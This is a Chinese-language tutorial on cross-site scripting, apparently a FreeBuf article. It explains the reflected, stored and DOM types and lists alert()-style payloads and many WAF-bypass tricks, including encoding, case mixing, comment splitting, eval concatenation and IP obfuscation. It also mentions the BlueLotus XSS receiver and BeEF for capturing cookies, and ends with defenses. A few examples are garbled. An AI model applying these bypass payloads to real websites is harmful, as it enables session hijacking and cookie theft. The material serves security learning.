ghdghd
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
概述:
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
原理
XSS漏洞产生的主要原因是由于程序对输入和输出的控制不够严格,导致构建的恶意代码输入后,在前端浏览的时候被当作有效的代码解析执行从而产生危害。
危害:
1)网络钓鱼,盗取各种用户账户。
2)窃取用户的cookies资料,从而获取用户隐私信息。
3)弹出广告页面,获取相关利益。
4)劫持用户会话,执行任意操作。
5)传播蠕虫病毒。
高风险:评论区、留言区、个人信息修改、订单信息等
中风险:站内信、通信、私信、反馈等。
低风险:搜索框、URL、图片属性等。
分类:
1.反射型
反射型XSS是将用户输入的内容作为代码让浏览器对其进行执行达到攻击的目的,一般需要引诱用户访问攻击者构建的URL。这种类型的攻击指发生在客户端上,并且需要访问带有恶意的参数特制的URL,所以也称之为非持久型XSS。
攻击位置:
用户登录入口,网站搜索框等。
2.存储型
原理:
存储型XSS是将攻击脚本永远嵌入某一个页面中,,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。
1)攻击者利用网站的一个表单,将恶意字符串插入到网站数据库中。
2)受害者向网站请求页面。
3)网站在响应中引入恶意字符串,并把它发给受害者。
4)受害者浏览器执行响应中的恶意脚本,并把受害者的cookies发给攻击者服务器。
攻击位置:
论坛、博客、留言板、评论区等交互区。
当下次访问页面的时候就会自动执行,先执行再跳转至正常界面
DOM型:
原理:
DOM全称Document Object Model,是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。由于DOM型XSS不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,大部分属于反射型。
1)攻击者构造一个包含恶意字符串的URL并发给受害者。
2)攻击者诱使受害者发起这个URL请求。
3)网站收到请求,但并没有在响应中引入该恶意字符串。
4)受害者浏览器执行响应中的合法脚本,导致恶意脚本被插入到页面中。
5)受害者浏览器执行插入到页面中的恶意脚本,将受害者的cookies信息发给攻击者服务器。
攻击位置:
基于DOM型的XSS漏洞是不需要与服务器端交互,它只发生在客户端处理数据的阶段。
XSS攻击常用标签:
<scirpt>
示例:<scirpt>alert("xss");</script>
<img>
图片加载错误时触发
示例:<img src="x" onerror=alert(1)>
鼠标指针移动到元素时触发
示例:<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
示例:<img src=1 onmouseout="alert(1")>
<a>
示例:<a href="http://www.qq.com">qq</a>
示例:<a href=javascript:alert('1')>test</a>
<input>
按下按键时触发
示例:<input type="text" onkeydown="alert(1)">
按下按键时触发
示例:<input type="text" onkeypress="alert(1)">
松开按键式时触发
示例:<input type="text" onkeyup="alert(1)">
竞争焦点,从而触发onblur事件
示例:<input onblur=alert("xss") autofocus><input autofocus>
1.6.5 <style>
示例:<style οnlοad=alert(1)></style>
XSS平台:
蓝莲花XSS平台:https://gitee.com/evlon/BlueLotus_XSSReceiver
解压至phpstudy的WWW目录安装(https://IP地址/xss/install.php)
配置payload方法网上搜索
当然XSS平台中还存在很多的可选择的配置项目,都可以进行测试。但是总之还是那句话,由于XSS平台是别人搭建的,当你去进行XSS测试的时候,不单单你获取到这个cookie值,XSS平台的管理人员也能获取到这个cookie值,所以需要注意,若是内部测试,尽量还是不要使用XSS平台,可以自己搭建一个XSS平台。若想测试公网上的位置,那么自己搭建XSS平台的话需要有一个公网地址。具体如何搭建XSS平台,百度上有很多。
beef工具:
BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单。
新版的kail已经不自带beef工具了,需要自己下载。并且目前只支持macos和Linux系统。
WAF绕过:
1.大小写绕过:
html对于大小写不敏感,可以利用大小写混淆过去。
示例:<script>alert(“xss”);</script>
替换:<ScRipt>ALeRt(“XSS”);</sCRipT>
2.双写绕过:
在一些特定的情况下可能会存在某个关键字过滤,就可以尝试使用双写绕过。
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
上述中对on替换为空。<input oonnfocus="alert('xss');">
3.空格回车TAB绕过:
由于js通常是以分号为结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。
空格绕过
示例:
<img src="javascript:alert('xss');">
替换:
<img src="java script:alert('xss');">
回车绕过
示例:
<img src="javascript:alert('xss');">
替换:
<img src="java script: alert('xss');">
TAB绕过
示例:<img src="javascript:alert('xss');">
替换:<img src="javasc ript:alert('xss');">
4.注释绕过
示例:<script>alert()</script>
替换:<scri<!--1-->pt>alert()</sc<!--1-->ript>
5 字符拼接
利用eval:eval是Javascript内置函数,用于计算字符串表达式的值。
示例:
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
利用top
示例:
<script>top["al"+"ert"](xss);</script>
6.编码绕过:
Unicode编码绕过:
示例:
<img src="javascript:alert('xss');">
替换:
<img
src="javascript:alert('xss');">
url编码绕过:
示例:<img src="javascript:alert('xss');">
替换:<img src="javascript:%61%6C%65%72%74%28%22%78%73%73%22%29%3B;">
base64绕过:
示例:<img src="javascript:alert('xss');">
替换:<img src="javascript:YWxlcnQoJ3hzcycpOw==">
7.过滤URL绕过
url编码绕过
示例:
<img src="x" onerror=document.location= 'http://www.baidu.com/'>
替换:
<img src="x" onerror=document.location='http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/'>
IP绕过
十进制
示例:
<img src="x" onerror=document.location= 'http://www.baidu.com/'>
替换:
<img src="x" onerror=document.location='http://2130706433/'>
八进制
示例:
<img src="x" onerror=document.location= 'http://www.baidu.com/'>
替换:
<img src="x" onerror=document.location='http://0177.0.0.01/'>
8.过滤双引号,单引号:
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
示例:<img src="x" onerror=alert('xss');>
替换:<img src="x" onerror=alert(
xss);>
9.javascript伪协议绕过
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句。javascript:alert(“hello world!”)
<a>标签
&emsp说明:
<a>标签定义超链接,用于从一个页面链接到另一个页面。
<a>元素最重要的属性是href属性,它指定链接的目标。
示例:
<a href="javascript:alert(xss);">xss</a>
标签
说明:
<img> 标签定义 HTML 页面中的图像
<img> 标签有两个必需的属性:src 和 alt
说明:<img> 标签定义 HTML 页面中的图像
<img> 标签有两个必需的属性:src 和 alt
示例:<img src=javascript:alert('xss')>//IE7以下
10.绕过方法大全
(146条消息) XSS攻击绕过过滤方法大全(转)_xss绕过_明月清风~~的博客-CSDN博客
xss防御
整体思路:对用户输入的内容及访问的URL进行过滤,对输出内容进行编码,简单来说就是将用户提交的所有内容都进行过滤,排除关键字,敏感内容,对URL的参数也进行一定的过滤,并且对动态输出到页面的内容进行html编码,转换为html实体,使其用户输入的恶意代码无法在浏览器中执行。
内容过滤
对其内容进行过滤,可以分为白名单和黑名单过滤。
白名单过滤
白名单过滤通过允许放行的内容进行过滤,这种情况下确实可以基本杜绝很多的XSS攻击,但是在现实环境中,可能会造成误拦截。
黑名单过滤
黑名单过滤是对相关关键字进行拦截,黑名单输入可能杜绝绝大XSS攻击,但是依旧存在被绕过的可能。
http only属性
在服务端中设置会话cookie的HTTP only属性,这样客户端JS脚本就不能获取cookie信息。
明确输入内容
对用户输入的内容进行明确类型,如个人信息电话、数字、密码、邮箱地址等都位置都过滤一些不符合的内容。
输入内容长度控制
对不可信的内容都应该进行长度限制,例如电话号码11位,那么就设置11位,这样虽然不能百分百防止XSS攻击,但是可以增加XSS攻击实现的难度。
安全措施
添加验证码、开启相关防护软件、WAF软硬件。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
